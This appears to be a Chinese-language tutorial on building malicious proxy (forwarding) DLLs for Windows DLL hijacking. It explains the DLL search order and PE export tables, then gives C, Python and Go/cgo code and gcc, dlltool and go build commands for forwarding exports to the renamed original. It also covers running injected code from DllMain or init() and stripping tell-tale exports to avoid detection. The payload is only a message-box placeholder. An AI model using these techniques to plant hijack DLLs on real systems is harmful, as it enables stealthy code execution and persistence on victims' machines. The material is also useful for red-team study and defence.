Go 語言實現 dll 惡意劫持轉發

dll 轉發概述

dll 轉發: 攻擊者使用惡意 dll 替換原始 dll,重命名原始 dll 並通過惡意 dll 將原先的功能轉發至原始 dll。

該惡意 dll 一般用來專門執行攻擊者希望攔截或修改的功能,同時將所有其他功能轉發至原始 dll

一般可與 dll 劫持共同使用。

dll 搜索順序

首先我們來看一下 Windows 系統中 dll 的搜索順序

上圖中攻擊者可以控制的就是標準搜索順序中的步驟,根據情況的不同我們可以選擇不同的方式來進行 dll 劫持

步驟

要實現 dll 轉發,一般需要以下一些步驟

  1. 解析原始 dll 的導出表

  2. 收集出要攔截修改的函數

  3. 在惡意 dll 中實現攔截功能

  4. 將所有其他函數轉發至原始 dll 上

  5. 重命名原始 dll

  6. 使用原始 dll 的名稱重命名惡意 dll

PE 文件導出表

什麼是 PE 導出表?

導出表就是當前的 PE 文件提供了哪些函數給別人調用。

並不只有 dll 纔有導出表,所有的 PE 文件都可以有導出表,exe 也可以導出函數給別人使用,一般情況而言 exe 沒有,但並不是不可以有

導出表在哪裏?

PE 文件格式在這裏並不進行詳細介紹,感興趣的讀者可以自行查閱相關資料。

PE 文件包含 DOS 頭和 PE 頭,PE 頭裏面有一個擴展頭,這裏麪包含了一個數據目錄(包含每個目錄的 VirtualAddress 和 Size 的數組。目錄包括:導出、導入、資源、調試等),從這個地方我們就能夠定位到導出表位於哪裏

導出表的結構

接下來我們看看導出表的結構

typedef struct _IMAGE_EXPORT_DIRECTORY {
  DWORD   Characteristics;
  DWORD   TimeDateStamp;     //時間戳. 編譯的時間. 把秒轉爲時間.可以知道這個DLL是什麼時候編譯出來的.
  WORD   MajorVersion;
  WORD   MinorVersion;
  DWORD   Name;           //指向該導出表文件名的字符串,也就是這個DLL的名稱 輔助信息.修改不影響 存儲的RVA 如果想在文件中查看.自己計算一下FOA即可.
  DWORD   Base;           // 導出函數的起始序號
  DWORD   NumberOfFunctions;     //所有的導出函數的個數
  DWORD   NumberOfNames;         //以名字導出的函數的個數
  DWORD   AddressOfFunctions;     // 導出的函數地址的 地址表 RVA 也就是 函數地址表  
  DWORD   AddressOfNames;         // 導出的函數名稱表的 RVA     也就是 函數名稱表
  DWORD   AddressOfNameOrdinals; // 導出函數序號表的RVA         也就是 函數序號表
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

我們使用 cff explorer 看看 dll 的導出表

可惜從這個圖上我們並不能觀察出導出的函數是否是一個轉發函數,我們使用 16 進制編輯器打開看看

從這個圖上我們可以看到 add 導出函數前面還有一些東西

_lyshark.dll._lyshark.add.add

這個標識告訴我們這個 dll 的導出函數 add 實際上位於 _lyshark.dll 上

dll 轉發如何工作

當我們調用轉發函數時,Windows 加載程序將檢查該 dll(即惡意 dll)所引用的 dll(即原始 dll)是否已加載,如果引用的 dll 還沒有加載到內存中,Windows 加載程序將加載這個引用的 dll,最後搜索該導出函數的真實地址,以便我們調用它

dll 轉發(dll 劫持)的一般實現

我們能在網上搜索到一些 dll 轉發(dll 劫持)的實現,基本是使用微軟 MSVC 編譯器的特殊能力 4

MSVC 支持在 cpp 源文件中寫一些鏈接選項,類似

#progma comment(linker, "/export:FUNCTION_)

列出導出函數

下面我們採用 MSVC 對 zlib.dll 實現一個樣例 5

首先我們能使用 DLL Export Viewer 工具查看並導出一個 dll 的導出表

然後我們點擊 View > HTML Report - All Functions

我們可以得到一個類似於下面的 html

給 MSVC 鏈接器生成導出指令

我們現在可以把這個 html 轉化爲 MSVC 的導出指令 5

"""
The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately.
"""
from __future__ import print_function
import argparse
def main():
  parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser")
  parser.add_argument("report", help="the HTML report generated by DLL Export Viewer")
  args = parser.parse_args()
  report = args.report
  try:
      f = open(report)
      page = f.readlines()
      f.close()
  except:
      print("[-] ERROR: open('%s')" % report)
      return
  for line in page:
      if line.startswith("<tr>"):
          cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
          function_name = cols[1]
          ordinal = cols[4].split(' ')[0]
          dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
          print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))
if __name__ == '__main__':
  main()

然後我們可以獲得這樣的輸出

下面的具體怎麼生成不再進行介紹,如果感興趣可以查看 Windows Privilege Escalation - DLL Proxying 或 基於 AheadLib 工具進行 DLL 劫持

dll 轉發(dll 劫持)的 mingw 實現

如果有的人和我一樣,不喜歡安裝龐大的 Visual Studio,習慣用 gcc mingw 來完成,我們也是能夠完成的

def 文件介紹

這裏我們使用 gcc 編譯器和 mingw-w64(這個是 mingw 的改進版)

此處我們不再採用直接把鏈接指令寫入代碼源文件的方式,而是採用模塊定義文件 (.Def)

模塊定義 (.def) 文件爲鏈接器提供有關導出、屬性和有關要鏈接的程序的其他信息的信息。.def 文件在構建 DLL 比較有用。詳情可參見 MSDN Module-Definition (.Def) Files

當然,我們採用這種方式的原因是因爲 .def 能被 mingw-w64 所支持,我們要做的就是在. def 文件中寫入我們要轉發到原始 dll 的所有函數的列表,並在編譯 dll 的時候在 GCC 中設置該 .def 文件參與鏈接。

簡單的示例

實現流程

這裏我們採用一個簡單的樣例,我們採用常規寫了一個 dll, 該 dll 文件導出一個 add 函數,該導出函數的作用就是把傳入的兩個數值進行相加

#include <Windows.h>
extern "C" int __declspec(dllexport)add(int x, int y)
{
  return x + y;
}
BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
  return true;
}

我們將它編譯成 dll 文件

gcc add.cpp -shared -o add.dll

然後我們寫一個主程序來調用它

#include <stdio.h>
#include <Windows.h>
typedef int(*lpAdd)(int, int);
int main(int argc, char *argv[])
{
  HINSTANCE DllAddr;
  lpAdd addFun;
  DllAddr = LoadLibraryW(L"add.dll");
  addFun = (lpAdd)GetProcAddress(DllAddr, "add");
  if (NULL != addFun)
  {
      int res = addFun(100, 200);
      printf("result: %d \n", res);
  }
  FreeLibrary(DllAddr);
  system("pause");
  return 0;
}

然後我們進行編譯執行

gcc main.cpp -o main.exe
./main.exe

可以看到如下輸出

然後我們將我們剛纔生成的 add.dll 重命名爲 _add.dll

然後創建一個 .def 文件

functions.def

LIBRARY _add.dll
EXPORTS
  add = _add.add @1
LIBRARY _add.dll` 代表轉發到 `_add.dll`,下面的 `EXPORTS` 定義了需要轉發的函數,`=` 前面是導出函數名,`=` 後面的 `_add` 代表要轉發到的 dll 的名稱,`add` 代表要轉發到 `_add.dll` 的哪一個導出函數,關鍵在於 `@1

我們可以拿 DLL Export Viewer 或 StudyPE+ 等工具看看

我們可以看到 Ordinal, 這個是導出函數序號,就是 @1 的來源,如果有多個導出函數,依次寫下來即可

然後編寫我們的惡意 dll

#include <Windows.h>
BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
  return true;
}

如上所示,當然,這只是一個樣例,所以我並沒有寫下任何惡意代碼

現在可以編譯我們的惡意 dll 了

gcc -shared -o add.dll evil.cpp functions.def
  1. -shared 表示我們要編譯一個共享庫(非靜態)

  2. -o 指定可執行文件的輸出文件名

  3. add.dll 是我們想給我們的惡意 dll 起的名字

  4. evil.cpp 是我們在其中編寫惡意 dll 代碼的 .cpp 文件

如果編譯成功的話,你應該能在同目錄下找到剛剛生成好的惡意 dll(add.dll)

我們再使用 PE 查看工具看看導出表

可以看到中轉輸出表上已經有了

注意我們這個 dll 並沒有寫任何功能性代碼,讓我們使用剛纔編譯的 main.exe 測試一下

可以發現功能轉發正常

當然,當導出函數過多的時候我們不可能一個個自己去導出表裏抄,可以寫一個腳本自動化完成這個工作,不過這不是我們本文的重點,或者你可以使用 mingw-w64 裏面自帶的 gendef.exe 工具

.def 和 .exp 文件

exp:

文件是指導出庫文件的文件,簡稱導出庫文件,它包含了導出函數和數據項的信息。當 LIB 創建一個導入庫,同時它也創建一個導出庫文件。如果你的程序鏈接到另一個程序,並且你的程序需要同時導出和導入到另一個程序中,這個時候就要使用到 exp 文件 (LINK 工具將使用 EXP 文件來創建動態鏈接庫)。

def:

def 文件的作用即是,告知編譯器不要以 microsoft 編譯器的方式處理函數名,而以指定的某方式編譯導出函數(比如有函數 func,讓編譯器處理後函數名仍爲 func)。這樣,就可以避免由於 microsoft VC++ 編譯器的獨特處理方式而引起的鏈接錯誤。

從上面的介紹中我們可以看出 .exp 文件可以用在鏈接階段,所以我們可以先使用 dlltool 工具將 .def 轉化爲 .exp 文件,然後編譯 evil.cpp 到 evil.o 再手動進行鏈接。

gcc -c -O3 evil.cpp
dlltool --output-exp functions.exp --input-def functions.def
ld -o add.dll functions.exp evil.o

額外的說明

當然,你也可以通過 clang 來完成這項工作

clang -shared evil.cpp -o add.dll -Wl"/DEF:functions.def"

我們如何用 Golang 來實現轉發 dll

Golang 提供了官方的動態鏈接庫(dll)編譯命令 go build -buildmode=c-shared -o exportgo.dll exportgo.go,根據我們前面鋪墊的基礎,現階段所需要思考的是:如何把 .def 文件或 .exp 文件也帶入進去?

下文我將用 gcc 作爲 cgo 的外部鏈接器,clang 也可以按照同樣的思想

嘗試與思考

爲什麼不考慮利用 cgo 直接在 c 代碼中寫 #progma comment(linker, '/EXPORT'),這個的主要原因是 Golang 的 cgo 能力現階段只支持 clang 和 gcc,MSVC 編譯器並不支持 9。

讓我們現在來思考一下整個編譯流程:

前三步都是在將代碼處理成二進制機器碼,而我們所要操控的導出表是屬於文件格式的一部分,所以應該是需要在鏈接這個步驟做文章

藉助這個思路,我們對上面的樣例做做文章。

首先把我們的 evil.cpp 編譯彙編成目標文件,然後鏈接時加入額外控制。

# evil.cpp 編譯彙編成 evil.o 目標文件(下面的 -O3 是爲了啓用 O3 優化,可選)
gcc -c O3 evil.cpp
# 和 .def 文件一起進行鏈接
ld -o add.dll functions.def evil.o

或者利用上文中先將 .def 轉化成 .exp 再進行手動鏈接,我們均能得到我們預期的轉發 dll。

golang 中的實現

我們的目的是需要把 .def 或 .exp 文件放入整個編譯流程的鏈接環節中去。

首先我們需要先了解一下 cgo 的工作方式 11:它用 c 編譯器編譯 c,用 Go 編譯器編譯 Go,然後使用 gcc 或 clang 將他們鏈接在一起,我們甚至能夠通過 CGO_LDFLAGS 來將 flag 傳遞至鏈接器。

在我們 Golang 程序編譯命令中,相信大家使用過 -ldflags="" 選項,這個其實是 go tool link 帶來的,go build 只是一個前端,Go 提供了一組低級工具來編譯和鏈接程序,go build 只需收集文件並調用這些工具。我們可以通過使用 - x 標誌來跟蹤它的作用。不過這裏我們並不關心這個。

我們去看看 go tool link 的說明書,幫助文件裏面提到了

-extld linker
  Set the external linker (default "clang" or "gcc").
-extldflags flags
  Set space-separated flags to pass to the external linker.

-extld 一般我們不需要更改,也就是我們只需要想辦法修改 -extldflags 讓鏈接過程帶入我們的 .def 或 .exp 文件即可。

但是,我們剛纔使用 ld 編譯的時候,都是直接將 .def 或 .exp 文件傳入的,如何通過 ld 的參數傳入呢?

在 gcc 的鏈接選項 裏,有一個選項是 -Wl,用法爲 -Wl,option,它的作用就是將 - Wl 後的 option 作爲標識傳遞給 ld 命令,如果 option 中包含 ,,則根據 , 拆分爲多個標識傳遞給 ld,可能看到這裏你對於這個選項還是一知半解,下面舉個例子

gcc -c evil.cpp
ld -o add.dll functions.def evil.o

等同於

gcc -shared -o add.dll -Wl,functions.def evil.cpp

等同於

gcc -shared -Wl,functions.def,-o,add.dll evil.cpp

也就是 -Wl 後面的東西都會傳遞鏈接器

所以我們將 .def 或 .exp 文件利用 -Wl 選項設置到 -extldflags 上去即可。

所以我們現在可以創建一個樣例 go 程序用來編譯 dll

main.go

package main
import "C"
func main() {
  // Need a main function to make CGO compile package as C shared library
}

然後進行編譯

go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.def" main.go

注意:-Wl 後面要寫上 .def 或 .exp 文件的絕對路徑,主要是由於調用程序時候的工作路徑問題,只需要記住這一點即可。

現在我們得到了一個 golang 編譯出來的轉發 dll

當然,你可能會對那個 _cgo_dummy_export 導出函數比較疑惑,這個是 golang 編譯的 dll 所特有的,如果你想要去除掉它,可以使用 .exp 來進行鏈接

go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.exp" main.go

dll 轉發的總結

其實 cgo 主要的編譯手段爲:用 c 編譯器編譯 c,用 Go 編譯器編譯 Go,然後使用 gcc 或 clang 將他們鏈接在一起。我們所需要做的只是將它們粘合在一起。

在 Golang 中如何實現惡意 dll

我們已經知道了該怎麼在 Golang 中實現轉發 dll,接下來我們可以嘗試實現惡意 dll 了。

init 寫法

如果你看這篇文章,相信你已經知道 Go 會默認執行包中的 init() 方法。所以我們可以把我們的惡意代碼定義到這個函數里面去。

一般的 dll 實現方式爲

package main
func Add(x, y int) int {
  return x + y
}
func main() {
  // Need a main function to make CGO compile package as C shared library
}

我們只需要加上一個 init 方法,並且讓惡意代碼異步執行即可(防止 LoadLibrary 卡住)

package main
func init() {
  go func() {
      // 你的惡意代碼
  }()
}
func Add(x, y int) int {
  return x + y
}
func main() {
  // Need a main function to make CGO compile package as C shared library
}

對於 windows dll 更細粒度的控制

對於 windows dll,DllMain11 是一個可選的入口函數

對於 DllMain 的介紹,我這裏就不再贅述了,感興趣的可以自行進行查詢

系統是在什麼時候調用 DllMain 函數的呢?靜態鏈接或動態鏈接時調用 LoadLibrary 和 FreeLibrary 都會調用 DllMain 函數。DllMain 的第二個參數 fdwReason 指明瞭系統調用 Dll 的原因,它可能是::

這些流程根據你自己的需求來進行控制。當然,如果你有過 Windows 編程經驗,應該對這個比較熟悉。

Golang 是一個有 GC 的語言,需要在加載時運行 Golang 本身的運行時,所以暫時沒有太好的方案在 Golang 中實現 DllMain 讓外層直接調用入口點,因爲沒有初始化運行時。

我們可以變相通過 cgo 來實現這個目的。總體思路爲,利用 C 來寫 DllMain,通過 c 來調用 Golang 的函數

以下示例代碼大多來自 github.com/NaniteFactory/dllmain

c 實現 DllMain

首先我們可以在 c 中定義我們自己的 DllMain

#include "dllmain.h"
typedef struct {
  HINSTANCE hinstDLL; // handle to DLL module
  DWORD fdwReason;     // reason for calling function // reserved
  LPVOID lpReserved;   // reserved
} MyThreadParams;
DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
  MyThreadParams params = *((MyThreadParams*)lpParam);
  OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved);
  free(lpParam);
  return 0;
}
BOOL WINAPI DllMain(
  HINSTANCE _hinstDLL, // handle to DLL module
  DWORD _fdwReason,     // reason for calling function
  LPVOID _lpReserved)   // reserved
{
  switch (_fdwReason) {
  case DLL_PROCESS_ATTACH:
      // Initialize once for each new process.
      // Return FALSE to fail DLL load.
      {
          MyThreadParams* lpThrdParam = (MyThreadParams*)malloc(sizeof(MyThreadParams));
          lpThrdParam->hinstDLL = _hinstDLL;
          lpThrdParam->fdwReason = _fdwReason;
          lpThrdParam->lpReserved = _lpReserved;
          HANDLE hThread = CreateThread(NULL, 0, MyThreadFunction, lpThrdParam, 0, NULL);
          // CreateThread() because otherwise DllMain() is highly likely to deadlock.
      }
      break;
  case DLL_PROCESS_DETACH:
      // Perform any necessary cleanup.
      break;
  case DLL_THREAD_DETACH:
      // Do thread-specific cleanup.
      break;
  case DLL_THREAD_ATTACH:
      // Do thread-specific initialization.
      break;
  }
  return TRUE; // Successful.
}

注意此處最好使用 CreateThread 來進行外部 Go 函數的調用,不然可能因爲初始化 Go 運行時的問題導致死鎖。

我們在該代碼中 DLL_PROCESS_ATTACH 時異步調用了 OnProcessAttach,我們在 Golang 中實現這個惡意函數

Golang 惡意代碼

我們現在來定義我們的惡意代碼實現

package main
import "C"
import (
  "unsafe"
  "syscall"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
  ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
      uintptr(hwnd),
      uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
      uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
      uintptr(flags))
  return int(ret)
}
// MessageBoxPlain of Win32 API.
func MessageBoxPlain(title, caption string) int {
  const (
      NULL = 0
      MB_OK = 0
  )
  return MessageBox(NULL, caption, title, MB_OK)
}
// OnProcessAttach is an async callback (hook).
//export OnProcessAttach
func OnProcessAttach(
  hinstDLL unsafe.Pointer, // handle to DLL module
  fdwReason uint32, // reason for calling function
  lpReserved unsafe.Pointer, // reserved
) {
  MessageBoxPlain("OnProcessAttach", "OnProcessAttach")
}
func main() {
  // Need a main function to make CGO compile package as C shared library
}

此處我們實現了惡意函數 OnProcessAttach,只是彈個窗來模擬惡意代碼。

組合 Golang 和 c 編譯

現在我們有了 .go 和 .c,還需要把它們兩個粘合起來

第一種方案

你可以通過 cgo 的一般寫法,在 .go 的註釋中把 c 代碼拷貝進去,例如

package main
/*
#include "dllmain.h"
typedef struct {
  HINSTANCE hinstDLL; // handle to DLL module
  DWORD fdwReason;     // reason for calling function // reserved
  LPVOID lpReserved;   // reserved
} MyThreadParams;
DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
  MyThreadParams params = *((MyThreadParams*)lpParam);
  OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved);
  free(lpParam);
  return 0;
}
...c源碼文件
*/
import "C"
import (
  "unsafe"
  "syscall"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
  ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
      uintptr(hwnd),
      uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
      uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
      uintptr(flags))
  return int(ret)
}
...go 源碼文件
第二種方案

或者你也可以給 .c 寫一個頭文件 .h,然後在 .go 中導入這個頭文件,在 go build 的時候 Go 編譯器會默認找到該目錄下的 .c、.h、.go 一起編譯。

比如你可以創建一個 .h 文件

#include <windows.h>
void OnProcessAttach(HINSTANCE, DWORD, LPVOID);
BOOL WINAPI DllMain(
  HINSTANCE _hinstDLL, // handle to DLL module
  DWORD _fdwReason,     // reason for calling function
  LPVOID _lpReserved   // reserved
);

然後在 .go 中引用它

package main
/*
#include "dllmain.h"
*/
import "C"
import (
  "unsafe"
  "syscall"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
  ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
      uintptr(hwnd),
      uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
      uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
      uintptr(flags))
  return int(ret)
}

然後就可以一起編譯了。

導出表的問題

確實,現在我們可以編譯出惡意的轉發 dll 了,但是我們可能會發現導出表裏面其實有很多奇奇怪怪的導出函數

這些導出函數可能會成爲某些特徵

我們的原始 dll 並沒有這些導出函數,但是生成的轉發 dll 這麼多奇怪的導出函數該怎麼去掉?

我們可以同樣可以使用上文的 exp 文件來解決,它就是一個導出庫文件,來定義有哪些導出的。

根據上文的方法我們使用 dlltool 從 def 文件生成一個 exp 文件,然後編譯時加入鏈接即可。

go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,/home/lab/Repo/go-dll-proxy/dllmain/functions.exp -s -w"

ldflags 裏面的新增的 -s -w 只是爲了減小一點體積去除一下符號,可選。

最後的最後

倉庫相關示例已經上傳至 github.com/akkuman/go-dll-evil

感興趣的可以查看。

本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源https://mp.weixin.qq.com/s/8yMyTIWPeaw8y5ggMZ123A